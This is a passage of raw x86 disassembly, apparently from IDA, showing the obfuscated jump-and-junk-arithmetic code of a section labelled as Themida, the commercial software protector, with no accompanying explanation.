; ---------------------------------------------------------------------------
loc_55CA09: ; CODE XREF: Themida_:005521B3j
pop esp
mov ax, [esp]
jmp loc_552368
; ---------------------------------------------------------------------------
loc_55CA13: ; CODE XREF: Themida_:005546B5j
shr ebp, 8
jmp loc_5547F7
; ---------------------------------------------------------------------------
loc_55CA1B: ; CODE XREF: Themida_:0055288Ej
mov esi, 25980A9Fh
dec esi
jmp loc_554DBA
; ---------------------------------------------------------------------------
loc_55CA26: ; CODE XREF: Themida_:00559647j
push edi
jmp loc_552014
; ---------------------------------------------------------------------------
loc_55CA2C: ; CODE XREF: Themida_:0055A0E0j
xchg eax, [esp]
jmp loc_554286
; ---------------------------------------------------------------------------
loc_55CA34: ; CODE XREF: Themida_:00551B3Fj
shl ecx, 5
push ebx
mov ebx, 140A77C5h
or ecx, ebx
pop ebx
jmp loc_555FCD
; ---------------------------------------------------------------------------
loc_55CA45: ; CODE XREF: Themida_:0055C0BBj
neg cx
xor cx, 64A2h
jmp loc_556606
; ---------------------------------------------------------------------------
loc_55CA52: ; CODE XREF: Themida_:00555B99j
push ebx
mov ebx, 2
jmp loc_5538E4
; ---------------------------------------------------------------------------
loc_55CA5D: ; CODE XREF: Themida_:00558568j
xchg edx, [esp]
pop esp
pop esi
jmp loc_554360
; ---------------------------------------------------------------------------
loc_55CA67: ; CODE XREF: Themida_:005549BDj
sub bl, ch
mov ecx, [esp]
add esp, 4
sub bl, al
push eax
push esp
pop eax
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_5521E1
; ---------------------------------------------------------------------------
loc_55CA87: ; CODE XREF: Themida_:00554B71j
pop esi
push edi
push ebp
mov ebp, 4DB007EBh
add [esp+4], ebp
jmp loc_55DA1C
; ---------------------------------------------------------------------------
loc_55CA98: ; CODE XREF: Themida_:00552A16j
add eax, edi
pop edi
add ebx, eax
jmp loc_554053
; ---------------------------------------------------------------------------
loc_55CAA2: ; CODE XREF: Themida_:00553613j
mov [esp], eax
push ebx
push 5A11368Ch
mov ebx, [esp]
add esp, 4
jmp loc_55308B
; ---------------------------------------------------------------------------
loc_55CAB9: ; CODE XREF: Themida_:0055CE03j
push ecx
mov cl, dh
push eax
mov ah, cl
mov bl, ah
pop eax
pop ecx
mov cl, bl
pop ebx
mov edx, [esp]
jmp loc_5585B7
; ---------------------------------------------------------------------------
loc_55CACE: ; CODE XREF: Themida_:0055B6C9j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55CAD3: ; CODE XREF: Themida_:0055CCB7j
xchg ebp, [esp]
mov esp, [esp]
dec word ptr [esp]
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55CAE3: ; CODE XREF: Themida_:00551CACj
shl dword ptr [edi+24h], 4
or dword ptr [edi+24h], 786F4455h
add dword ptr [edi+24h], 39CD1DBEh
xor dword ptr [edi+24h], 0CEAB77AFh
xor [edi+24h], ebx
jmp loc_5527BA
; ---------------------------------------------------------------------------
loc_55CB04: ; CODE XREF: Themida_:00552267j
sub edx, 3AA76DFAh
mov edi, edx
pop edx
add ebp, edi
pop edi
xchg ebp, [esp]
mov esp, [esp]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55CB1B: ; CODE XREF: Themida_:0055BEA8j
push eax
push ebx
jmp loc_555207
; ---------------------------------------------------------------------------
loc_55CB22: ; CODE XREF: Themida_:005552F8j
mov edi, 4
add esi, edi
pop edi
push edx
jmp loc_5598C1
; ---------------------------------------------------------------------------
loc_55CB30: ; CODE XREF: Themida_:00559C17j
push 66E0h
mov [esp], edx
push 2
jmp loc_557E22
; ---------------------------------------------------------------------------
loc_55CB42: ; CODE XREF: Themida_:00551E06j
pop edx
and ecx, edi
pop edi
shr ecx, 0
jmp loc_55254F
; ---------------------------------------------------------------------------
loc_55CB4E: ; CODE XREF: Themida_:00558AA9j
add ebx, 2
xor ebx, [esp]
jmp loc_55B8B2
; ---------------------------------------------------------------------------
loc_55CB5C: ; CODE XREF: Themida_:0055C842j
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
pop dword ptr [esp]
jmp loc_559C59
; ---------------------------------------------------------------------------
loc_55CB6D: ; CODE XREF: Themida_:00553C95j
push ecx
push ebx
jmp loc_55DA2C
; ---------------------------------------------------------------------------
loc_55CB74: ; CODE XREF: Themida_:0055C033j
add esi, 4
xchg esi, [esp]
mov esp, [esp]
xor [esp], eax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55CB86: ; CODE XREF: Themida_:0055D454j
inc bh
xor bh, 0C0h
sub cl, bh
pop ebx
not cl
neg cl
add cl, 0E1h
push edx
mov dl, cl
push ecx
mov ch, dl
jmp near ptr unk_551E7F
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
mov ecx, esp
push edi
mov edi, 4
sub ecx, 266A782Ch
add ecx, 311C77ACh
add ecx, edi
sub ecx, 311C77ACh
push ebp
jmp loc_55A5EB
; ---------------------------------------------------------------------------
loc_55CBC7: ; CODE XREF: Themida_:0055A497j
mov eax, 4
jmp loc_5591B9
; ---------------------------------------------------------------------------
loc_55CBD1: ; CODE XREF: Themida_:00558BB5j
pop edx
push edx
mov dh, 70h
jmp loc_55B20B
; ---------------------------------------------------------------------------
loc_55CBDA: ; CODE XREF: Themida_:00551E6Fj
pop dword ptr [esp]
mov esp, [esp]
movsx cx, al
push 2533h
mov [esp], ebx
jmp loc_55B682
; ---------------------------------------------------------------------------
loc_55CBF1: ; CODE XREF: Themida_:0055A3AFj
mov [esp], esi
jmp loc_5555BB
; ---------------------------------------------------------------------------
loc_55CBF9: ; CODE XREF: Themida_:00557F9Bj
add ebx, 72278395h
and ecx, ebx
pop ebx
shr ecx, 6
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_55273D
; ---------------------------------------------------------------------------
loc_55CC1B: ; CODE XREF: Themida_:0055A4A8j
mov ebp, 1DC04B48h
add eax, 6EEF5D09h
jmp loc_55A3C4
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
mov esi, esp
push edi
jmp loc_555BC6
; ---------------------------------------------------------------------------
loc_55CC37: ; CODE XREF: Themida_:0055D902j
push eax
jmp loc_557639
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_55AB08
; ---------------------------------------------------------------------------
loc_55CC45: ; CODE XREF: Themida_:0055BFC1j
mov [esp], ebx
mov ebx, 4
mov edx, ebx
push dword ptr [esp]
jmp loc_55A802
; ---------------------------------------------------------------------------
loc_55CC57: ; CODE XREF: Themida_:0055181Aj
push eax
mov ah, 0B0h
push edx
jmp loc_555DC1
; ---------------------------------------------------------------------------
loc_55CC60: ; CODE XREF: Themida_:00554DF4j
add eax, 4
push edi
push 4
pop edi
add eax, edi
pop edi
xchg eax, [esp]
jmp loc_55196E
; ---------------------------------------------------------------------------
loc_55CC77: ; CODE XREF: Themida_:0055D445j
mov edx, [esp]
jmp loc_556DAB
; ---------------------------------------------------------------------------
loc_55CC7F: ; CODE XREF: Themida_:005528ECj
pop esp
push 24C5h
jmp loc_55361F
; ---------------------------------------------------------------------------
loc_55CC8A: ; CODE XREF: Themida_:00558DBDj
pop esp
push eax
push esp
pop eax
add eax, 4
push edi
mov edi, 4
add eax, edi
pop edi
push eax
jmp loc_55C677
; ---------------------------------------------------------------------------
loc_55CCA2: ; CODE XREF: Themida_:005525B9j
mov edi, 4
sub ecx, 6B891C75h
add ecx, edi
jmp loc_551898
; ---------------------------------------------------------------------------
loc_55CCB4: ; CODE XREF: Themida_:00557E28j
add esp, 4
jmp loc_55CAD3
; ---------------------------------------------------------------------------
loc_55CCBC: ; CODE XREF: Themida_:00552D47j
xor dl, 78h
mov bh, dl
pop edx
mov ch, bh
pop ebx
mov dl, ch
pop ecx
jmp loc_5556F8
; ---------------------------------------------------------------------------
loc_55CCCD: ; CODE XREF: Themida_:00554D7Aj
pop ebx
pop dword ptr [esp]
pop esp
mov ebx, eax
pop eax
sub eax, 0CDC1D6Bh
sub eax, ebx
add eax, 0CDC1D6Bh
pop ebx
sub esp, 4
jmp loc_55412B
; ---------------------------------------------------------------------------
loc_55CCEA: ; CODE XREF: Themida_:00553DE5j
add edx, 4
sub esp, 4
jmp loc_551FD0
; ---------------------------------------------------------------------------
loc_55CCFB: ; CODE XREF: Themida_:00554833j
xor ebx, [esp]
mov esp, [esp]
jmp loc_553F9A
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 0BABh
mov [esp], ebx
push ecx
jmp loc_55C291
; ---------------------------------------------------------------------------
loc_55CD17: ; CODE XREF: Themida_:005536A8j
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
add edx, 4
jmp loc_55D6C3
; ---------------------------------------------------------------------------
loc_55CD32: ; CODE XREF: Themida_:0055BCEDj
cmp cl, al
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55CD3A: ; CODE XREF: Themida_:0055BA69j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
loc_55CD46: ; CODE XREF: Themida_:005553F6j
; Themida_:0055C682j
push dword ptr [edi+24h]
mov ecx, [esp]
push ebx
push esp
pop ebx
push 47A3h
mov [esp], esi
push 208946D7h
jmp loc_55875A
; ---------------------------------------------------------------------------
loc_55CD61: ; CODE XREF: Themida_:00556FACj
pop eax
add dword ptr [esp+4], 3308717Ch
pop eax
mov ecx, [esp]
push edi
mov edi, esp
jmp loc_5591D5
; ---------------------------------------------------------------------------
loc_55CD76: ; CODE XREF: Themida_:00558FEAj
add esp, 4
push esi
mov esi, 31273CD8h
add esi, 4D233BDh
xor ebp, esi
pop esi
push ebp
pop dword ptr [eax]
mov ebp, [esp]
push ebx
mov ebx, esp
push 254h
mov [esp], esi
mov esi, 4
jmp loc_553D40
; ---------------------------------------------------------------------------
loc_55CDA6: ; CODE XREF: Themida_:00558FF2j
add esi, 4
jmp loc_55A278
; ---------------------------------------------------------------------------
loc_55CDB1: ; CODE XREF: Themida_:005536D7j
add ebp, 4
add ebp, 4
jmp loc_5527F5
; ---------------------------------------------------------------------------
loc_55CDBF: ; CODE XREF: Themida_:0055B706j
pop eax
sub eax, edx
push dword ptr [esp]
pop edx
jmp loc_55C9D5
; ---------------------------------------------------------------------------
loc_55CDCB: ; CODE XREF: Themida_:00554E3Cj
mov [esp], edx
mov edx, 4
push edi
push edx
mov edx, 137A7D7Bh
and edx, 57380975h
xor edx, 335856F9h
and edx, 49135453h
not edx
sub edx, 84B77DE4h
mov edi, edx
jmp loc_556437
; ---------------------------------------------------------------------------
loc_55CDFB: ; CODE XREF: Themida_:0055A20Fj
add bl, 84h
push ecx
push edx
mov dh, al
push ebx
jmp loc_55CAB9
; ---------------------------------------------------------------------------
loc_55CE08: ; CODE XREF: Themida_:005593D2j
add edx, 11661FAAh
jmp loc_5523F0
; ---------------------------------------------------------------------------
loc_55CE13: ; CODE XREF: Themida_:0055D047j
push dword ptr [esp]
pop eax
push esi
mov esi, esp
jmp loc_5527A3
; ---------------------------------------------------------------------------
loc_55CE1F: ; CODE XREF: Themida_:00558E65j
mov cl, ah
pop eax
neg cl
shl cl, 3
jmp loc_55DC1B
; ---------------------------------------------------------------------------
loc_55CE2C: ; CODE XREF: Themida_:00559630j
add esi, 4
jmp loc_552047
; ---------------------------------------------------------------------------
loc_55CE37: ; CODE XREF: Themida_:00557355j
sub eax, 1E4129B5h
pop edi
jmp loc_559A26
; ---------------------------------------------------------------------------
loc_55CE42: ; CODE XREF: Themida_:00554CD3j
mov esp, [esp]
mov [esp], ebx
push edi
mov edi, 4E584FB5h
mov ebx, edi
push dword ptr [esp]
jmp loc_552D26
; ---------------------------------------------------------------------------
loc_55CE58: ; CODE XREF: Themida_:0055B4FCj
pop ax
mov dh, bl
jmp loc_554FA4
; ---------------------------------------------------------------------------
loc_55CE61: ; CODE XREF: Themida_:00554EEDj
mov [esp], edi
mov edi, 434515A4h
push esi
jmp loc_556ACD
; ---------------------------------------------------------------------------
loc_55CE6F: ; CODE XREF: Themida_:00559DD7j
sub esp, 4
mov [esp], ebp
mov ebp, esp
push esi
push 13A5h
jmp loc_556B00
; ---------------------------------------------------------------------------
loc_55CE82: ; CODE XREF: Themida_:00557652j
pop ecx
push ebx
jmp loc_55671C
; ---------------------------------------------------------------------------
loc_55CE89: ; CODE XREF: Themida_:005542E4j
jmp loc_55D128
; ---------------------------------------------------------------------------
loc_55CE8E: ; CODE XREF: Themida_:00554B87j
and eax, 396125E8h
jmp loc_55BF26
; ---------------------------------------------------------------------------
loc_55CE98: ; CODE XREF: Themida_:0055B2B8j
xor esi, 377E0CDDh
mov ebp, [esp]
add esp, 4
jmp loc_55A39D
; ---------------------------------------------------------------------------
loc_55CEA9: ; CODE XREF: Themida_:005550BAj
pop esi
add esp, 4
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55CEB5: ; CODE XREF: Themida_:00556AF5j
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edi
push esp
pop edi
jmp loc_553579
; ---------------------------------------------------------------------------
loc_55CEC8: ; CODE XREF: Themida_:00552692j
xor eax, [esp]
jmp loc_55709A
; ---------------------------------------------------------------------------
loc_55CED0: ; CODE XREF: Themida_:0055850Dj
or esi, 4219338Eh
add esi, 0F61627CCh
sub ebx, esi
jmp loc_5522FF
; ---------------------------------------------------------------------------
loc_55CEE3: ; CODE XREF: Themida_:005590D4j
push ecx
push eax
mov ah, 7Ch
or ah, 6Fh
jmp loc_558E57
; ---------------------------------------------------------------------------
loc_55CEEF: ; CODE XREF: Themida_:0055BD00j
add esp, 4
push edx
mov edx, esp
jmp loc_55D067
; ---------------------------------------------------------------------------
loc_55CEFD: ; CODE XREF: Themida_:0055C939j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ebp
pop edi
pop ebp
jmp loc_5524AF
; ---------------------------------------------------------------------------
loc_55CF17: ; CODE XREF: Themida_:005579DAj
push esi
mov esi, 29764F5Bh
and edi, esi
mov esi, [esp]
add esp, 4
xchg edx, edi
not edx
jmp loc_5596E1
; ---------------------------------------------------------------------------
loc_55CF31: ; CODE XREF: Themida_:00554887j
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_551B39
; ---------------------------------------------------------------------------
loc_55CF3D: ; CODE XREF: Themida_:0055C29Aj
add esp, 4
add ecx, 0A7B6278h
sub ecx, 3BF972C5h
push ecx
push dword ptr [esp]
pop ebx
add esp, 4
push dword ptr [esp]
pop ecx
add esp, 4
add eax, ebx
jmp loc_55BF7C
; ---------------------------------------------------------------------------
loc_55CF62: ; CODE XREF: Themida_:00552EC6j
pop eax
push ebp
mov ebp, 4
jmp loc_5544D7
; ---------------------------------------------------------------------------
loc_55CF6E: ; CODE XREF: Themida_:005574CAj
push eax
mov eax, 34572479h
dec eax
or eax, 439A291Dh
or eax, 623735DFh
jmp loc_559FD8
; ---------------------------------------------------------------------------
loc_55CF84: ; CODE XREF: Themida_:005521FEj
push 2375h
mov [esp], ecx
jmp loc_5530B6
; ---------------------------------------------------------------------------
loc_55CF91: ; CODE XREF: Themida_:00552E87j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55CF96: ; CODE XREF: Themida_:00553677j
mov bh, 0CAh
not bh
xor bh, 42h
mov cl, bh
pop ebx
push ecx
xchg ch, [esp]
not ch
push edx
mov dl, ch
mov ch, [esp+4]
mov [esp+4], dl
jmp loc_55D745
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_552764
; ---------------------------------------------------------------------------
loc_55CFBE: ; CODE XREF: Themida_:00551B6Dj
add esp, 4
jmp loc_552E00
; ---------------------------------------------------------------------------
mov cx, [esp]
push 65F1h
mov [esp], ebx
sub esp, 4
mov [esp], esp
jmp loc_557EB9
; ---------------------------------------------------------------------------
loc_55CFE0: ; CODE XREF: Themida_:00552942j
pop edi
add ebx, ecx
pop ecx
jmp loc_5555A6
; ---------------------------------------------------------------------------
loc_55CFE9: ; CODE XREF: Themida_:0055241Fj
push ebp
mov ebp, esp
add ebp, 4
jmp loc_554F65
; ---------------------------------------------------------------------------
loc_55CFF7: ; CODE XREF: Themida_:00554E74j
add esp, 4
push 16B6h
mov [esp], edi
jmp loc_556E3A
; ---------------------------------------------------------------------------
loc_55D007: ; CODE XREF: Themida_:00554E14j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55D00C: ; CODE XREF: Themida_:0055B767j
pop esp
mov ax, [esp]
push ebx
jmp loc_55D547
; ---------------------------------------------------------------------------
loc_55D017: ; CODE XREF: Themida_:0055C972j
or ebx, 381E2EF6h
and ebx, 12442F36h
dec ebx
add ebx, 2A4B5605h
push ecx
mov ecx, 1936A938h
add ebx, ecx
pop ecx
push 57C2h
jmp loc_55D619
; ---------------------------------------------------------------------------
loc_55D03D: ; CODE XREF: Themida_:0055C503j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55CE13
; ---------------------------------------------------------------------------
loc_55D04C: ; CODE XREF: Themida_:0055C727j
sub eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
sub eax, 2D48513Eh
jmp loc_5588DB
; ---------------------------------------------------------------------------
loc_55D067: ; CODE XREF: Themida_:0055CEF8j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add esp, 4
jmp loc_55BE2C
; ---------------------------------------------------------------------------
loc_55D07C: ; CODE XREF: Themida_:00555A06j
mov [esp], ecx
push edi
mov edi, esp
add edi, 4
sub edi, 4
push edi
jmp loc_557FAA
; ---------------------------------------------------------------------------
loc_55D094: ; CODE XREF: Themida_:00557C17j
push ecx
mov ecx, 41DB0C4Ah
not ecx
add ecx, 51305201h
xchg esi, ecx
not esi
xchg esi, ecx
sub ecx, 0F0AABA45h
add edx, ecx
pop ecx
add edx, 4
jmp loc_5570C4
; ---------------------------------------------------------------------------
loc_55D0B9: ; CODE XREF: Themida_:00555386j
add edx, ebx
jmp loc_55BAD2
; ---------------------------------------------------------------------------
loc_55D0C0: ; CODE XREF: Themida_:00553302j
mov ecx, [esp]
push ebp
push esp
pop ebp
jmp loc_551F10
; ---------------------------------------------------------------------------
loc_55D0CB: ; CODE XREF: Themida_:00558B4Fj
mov edi, [esp]
push esi
jmp loc_555DA2
; ---------------------------------------------------------------------------
loc_55D0D4: ; CODE XREF: Themida_:005593CBj
sub edi, 79E15D7Eh
add edi, esi
jmp loc_554A7E
; ---------------------------------------------------------------------------
loc_55D0E1: ; CODE XREF: Themida_:0055AF80j
mov edi, ebp
jmp loc_55C3B3
; ---------------------------------------------------------------------------
loc_55D0E8: ; CODE XREF: Themida_:005591EEj
sub edi, edx
mov edx, [esp]
add esp, 4
jmp loc_552983
; ---------------------------------------------------------------------------
loc_55D0F8: ; CODE XREF: Themida_:00557EB4j
push ebp
jmp loc_55B093
; ---------------------------------------------------------------------------
loc_55D0FE: ; CODE XREF: Themida_:0055AD06j
mov ebp, 4
add esi, ebp
pop ebp
push eax
mov eax, 45E859B1h
sub eax, 4F302229h
jmp loc_55DB64
; ---------------------------------------------------------------------------
loc_55D116: ; CODE XREF: Themida_:00551C8Cj
xor [edi+20h], esi
push edx
mov edx, 20h
add edx, edi
xor dword ptr [edx], 25C21903h
pop edx
loc_55D128: ; CODE XREF: Themida_:0055A644j
; Themida_:loc_55CE89j
push dword ptr [esp]
mov ebx, [esp]
jmp loc_557C14
; ---------------------------------------------------------------------------
loc_55D133: ; CODE XREF: Themida_:00551ED3j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55D138: ; CODE XREF: Themida_:0055D563j
mov [esp], esi
mov esi, 667906E3h
jmp loc_559D17
; ---------------------------------------------------------------------------
loc_55D145: ; CODE XREF: Themida_:0055AE22j
pop eax
jmp loc_5593DF
; ---------------------------------------------------------------------------
loc_55D14B: ; CODE XREF: Themida_:0055471Dj
add ebp, ecx
pop ecx
add edi, ebp
pop ebp
add edi, 2
push edi
push dword ptr [esp+4]
jmp loc_55ADA6
; ---------------------------------------------------------------------------
loc_55D15E: ; CODE XREF: Themida_:00556D4Fj
sub ebx, 0B8CE2C58h
add ecx, ebx
pop ebx
push eax
mov eax, 488A71D3h
xor eax, 42C358DEh
jmp loc_555A3F
; ---------------------------------------------------------------------------
loc_55D177: ; CODE XREF: Themida_:00559BD5j
sub dl, 2Dh
sub dl, 4Eh
not dl
jmp loc_55DBD8
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
jmp loc_5581FA
; ---------------------------------------------------------------------------
loc_55D18E: ; CODE XREF: Themida_:005583E8j
add edi, 47771123h
mov ecx, edi
pop edi
not ecx
push ecx
neg dword ptr [esp]
jmp loc_55A086
; ---------------------------------------------------------------------------
loc_55D1A2: ; CODE XREF: Themida_:0055436Dj
mov [esp], eax
sub esp, 4
mov [esp], ebp
pop eax
pop ebp
push edx
sub esp, 4
mov [esp], ebx
mov ebx, 338E7AFDh
neg ebx
jmp loc_55C885
; ---------------------------------------------------------------------------
loc_55D1C3: ; CODE XREF: Themida_:005585AAj
xchg eax, edx
add eax, 0FFFFFFFFh
xchg eax, edx
shr edx, 2
push edi
mov edi, 40FC0B23h
jmp loc_55A2E9
; ---------------------------------------------------------------------------
loc_55D1D6: ; CODE XREF: Themida_:00559705j
xchg edx, [esp]
pop esp
jmp loc_555E64
; ---------------------------------------------------------------------------
loc_55D1DF: ; CODE XREF: Themida_:0055C509j
sub ebx, 1
jmp loc_559C2B
; ---------------------------------------------------------------------------
loc_55D1EA: ; CODE XREF: Themida_:00558B99j
add edx, 4
xchg edx, [esp]
jmp loc_559AC6
; ---------------------------------------------------------------------------
loc_55D1F5: ; CODE XREF: Themida_:0055BA57j
pop edx
push esi
add dword ptr [esp], 4DDB5A59h
jmp loc_551AE9
; ---------------------------------------------------------------------------
loc_55D203: ; CODE XREF: Themida_:00558BD0j
mov ecx, 5CDB201Eh
shl ecx, 3
and ecx, 1B547F8Fh
or ecx, 41CF764Fh
dec ecx
sub ecx, 4F0E7F6Dh
xor ecx, 0A189D0D2h
xor edx, ecx
pop ecx
push ebx
mov ebx, 0F11D8687h
add edx, ebx
jmp loc_55C7DC
; ---------------------------------------------------------------------------
loc_55D234: ; CODE XREF: Themida_:0055C34Bj
mov ecx, 1AC1000Bh
xchg esi, ecx
not esi
xchg esi, ecx
shr ecx, 3
shr ecx, 7
add ecx, 5A9594Dh
xor ecx, 49F3BFDFh
xor eax, ecx
pop ecx
push 90Dh
mov [esp], ebx
jmp loc_55C235
; ---------------------------------------------------------------------------
loc_55D261: ; CODE XREF: Themida_:0055ADDBj
mov ecx, 4703369Ah
jmp loc_55B63F
; ---------------------------------------------------------------------------
loc_55D26B: ; CODE XREF: Themida_:0055C03Fj
pop esi
xchg eax, [esp]
pop esp
jmp loc_555D29
; ---------------------------------------------------------------------------
loc_55D275: ; CODE XREF: Themida_:00554436j
mov [esp], edx
mov edx, esp
push 7195h
jmp loc_55944E
; ---------------------------------------------------------------------------
loc_55D284: ; CODE XREF: Themida_:0055D6F7j
mov ecx, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
push eax
mov eax, 4
add edi, eax
pop eax
xchg edi, [esp]
pop esp
jmp loc_554EF2
; ---------------------------------------------------------------------------
loc_55D2A5: ; CODE XREF: Themida_:00555D54j
dec esi
jmp loc_55BD4E
; ---------------------------------------------------------------------------
loc_55D2AB: ; CODE XREF: Themida_:00551DDCj
mov esp, [esp]
push dword ptr [esp]
pop eax
jmp loc_558E03
; ---------------------------------------------------------------------------
loc_55D2B7: ; CODE XREF: Themida_:00553810j
push ecx
jmp loc_556BCF
; ---------------------------------------------------------------------------
loc_55D2BD: ; CODE XREF: Themida_:0055C1D6j
push 267A4CCBh
pop edx
sub edx, 41DC689Fh
mov ebp, edx
pop edx
mov edx, ebp
jmp loc_5595F3
; ---------------------------------------------------------------------------
loc_55D2D3: ; CODE XREF: Themida_:0055555Bj
not esi
xor esi, 0EB00EB0Fh
not esi
dec esi
sub esi, 46957778h
push ebp
mov ebp, 80E4BB2h
xor esi, ebp
jmp loc_552730
; ---------------------------------------------------------------------------
loc_55D2F1: ; CODE XREF: Themida_:0055ACFEj
sub edi, 205B6088h
pop ecx
not edi
jmp loc_5565EB
; ---------------------------------------------------------------------------
loc_55D2FF: ; CODE XREF: Themida_:00552613j
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_55D377
; ---------------------------------------------------------------------------
loc_55D30E: ; CODE XREF: Themida_:00556598j
mov bl, 6Fh
inc bl
push ax
push 690Ah
mov [esp], edx
jmp loc_5593D7
; ---------------------------------------------------------------------------
loc_55D321: ; CODE XREF: Themida_:00557A51j
pop edi
xchg ecx, [esp]
jmp loc_55C114
; ---------------------------------------------------------------------------
loc_55D32A: ; CODE XREF: Themida_:0055BC92j
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push edx
mov edx, esp
jmp loc_55855C
; ---------------------------------------------------------------------------
loc_55D33E: ; CODE XREF: Themida_:005570A0j
mov esp, [esp]
mov [esp], ecx
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55D349: ; CODE XREF: Themida_:00556D81j
pop edx
add ebx, eax
jmp loc_5521C0
; ---------------------------------------------------------------------------
loc_55D351: ; CODE XREF: Themida_:00554949j
push esp
jmp loc_555037
; ---------------------------------------------------------------------------
loc_55D357: ; CODE XREF: Themida_:005570F0j
push eax
mov eax, 75FA57DEh
add ecx, eax
pop eax
add ecx, ebp
jmp loc_554F6B
; ---------------------------------------------------------------------------
loc_55D367: ; CODE XREF: Themida_:0055968Ej
and ah, dh
pop edx
neg ah
sub ah, 30h
or bh, ah
pop eax
jmp loc_55DB7F
; ---------------------------------------------------------------------------
loc_55D377: ; CODE XREF: Themida_:0055D309j
add [esp], al
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55D380: ; CODE XREF: Themida_:0055444Dj
dec ebx
shr ebx, 4
add ebx, 5CDC97BEh
sub edx, ebx
pop ebx
add edx, ebp
add edx, 5E6B29D1h
pop ebp
jmp loc_553B97
; ---------------------------------------------------------------------------
loc_55D39B: ; CODE XREF: Themida_:00553E68j
shl al, 5
xor al, 0Ah
jmp loc_559C1C
; ---------------------------------------------------------------------------
loc_55D3A5: ; CODE XREF: Themida_:0055C608j
push dword ptr [esp]
pop eax
add esp, 4
mov edx, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_55B017
; ---------------------------------------------------------------------------
loc_55D3BD: ; CODE XREF: Themida_:0055450Aj
mov cl, 0CDh
neg cl
inc cl
add cl, 83h
mov ah, cl
mov ecx, [esp]
add esp, 4
sub ah, 0ECh
add ah, 97h
jmp loc_55B44F
; ---------------------------------------------------------------------------
loc_55D3D9: ; CODE XREF: Themida_:00554281j
xor eax, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], edi
jmp loc_554045
; ---------------------------------------------------------------------------
loc_55D3F5: ; CODE XREF: Themida_:0055A582j
pop di
push dx
jmp loc_5598B5
; ---------------------------------------------------------------------------
loc_55D3FE: ; CODE XREF: Themida_:0055AEDEj
push edx
jmp loc_555918
; ---------------------------------------------------------------------------
mov cx, [esp]
push 220Eh
jmp loc_555B8F
; ---------------------------------------------------------------------------
loc_55D412: ; CODE XREF: Themida_:0055B5EAj
mov [esp], ebx
mov ebx, esp
push 2B8Bh
jmp loc_5530C9
; ---------------------------------------------------------------------------
loc_55D421: ; CODE XREF: Themida_:0055A423j
add esp, 4
add ebx, eax
sub esp, 4
jmp loc_554E84
; ---------------------------------------------------------------------------
loc_55D434: ; CODE XREF: Themida_:0055A803j
add esp, 4
sub ecx, 9CF4BABh
add ecx, edx
add ecx, 9CF4BABh
jmp loc_55CC77
; ---------------------------------------------------------------------------
loc_55D44A: ; CODE XREF: Themida_:0055983Ej
dec bh
dec bh
sub bh, 2Dh
shr bh, 2
jmp loc_55CB86
; ---------------------------------------------------------------------------
loc_55D459: ; CODE XREF: Themida_:0055D7E2j
add esp, 4
sub eax, 38FD25CDh
mov ecx, [esp]
add esp, 4
shl eax, cl
push edi
mov edi, 1
push edi
jmp loc_55D754
; ---------------------------------------------------------------------------
loc_55D478: ; CODE XREF: Themida_:0055C88Bj
add esi, 0FD90435Ch
or ebx, esi
jmp loc_5562AF
; ---------------------------------------------------------------------------
loc_55D485: ; CODE XREF: Themida_:00555811j
mov ebx, 1DC152ADh
xor ebx, 1DC152AFh
add ecx, 1A3B40E6h
add ecx, 4A70E4h
add ecx, ebx
push ebx
mov ebx, 468017F0h
xor ebx, 46CA6714h
sub ecx, ebx
pop ebx
push ebp
mov ebp, 1A3B40E6h
sub ecx, ebp
pop ebp
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_55D668
; ---------------------------------------------------------------------------
loc_55D4D1: ; CODE XREF: Themida_:0055300Bj
pop edx
jmp loc_554B46
; ---------------------------------------------------------------------------
loc_55D4D7: ; CODE XREF: Themida_:0055C44Ej
push 711Ch
mov [esp], ebx
jmp loc_552860
; ---------------------------------------------------------------------------
loc_55D4E4: ; CODE XREF: Themida_:0055236Aj
pop edi
push ebp
push ebx
jmp loc_5573A0
; ---------------------------------------------------------------------------
loc_55D4EC: ; CODE XREF: Themida_:005533E0j
pop esi
push edi
mov edi, 78C50958h
shl edi, 1
jmp loc_554C75
; ---------------------------------------------------------------------------
loc_55D4FA: ; CODE XREF: Themida_:00557D3Ej
mov edx, 413802E3h
sub [esp+4], edx
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_55A018
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov ecx, 10E914EEh
or ecx, 7240C54h
or ecx, 377A02D0h
add ecx, 0C800E106h
add ebp, ecx
pop ecx
jmp loc_554B76
; ---------------------------------------------------------------------------
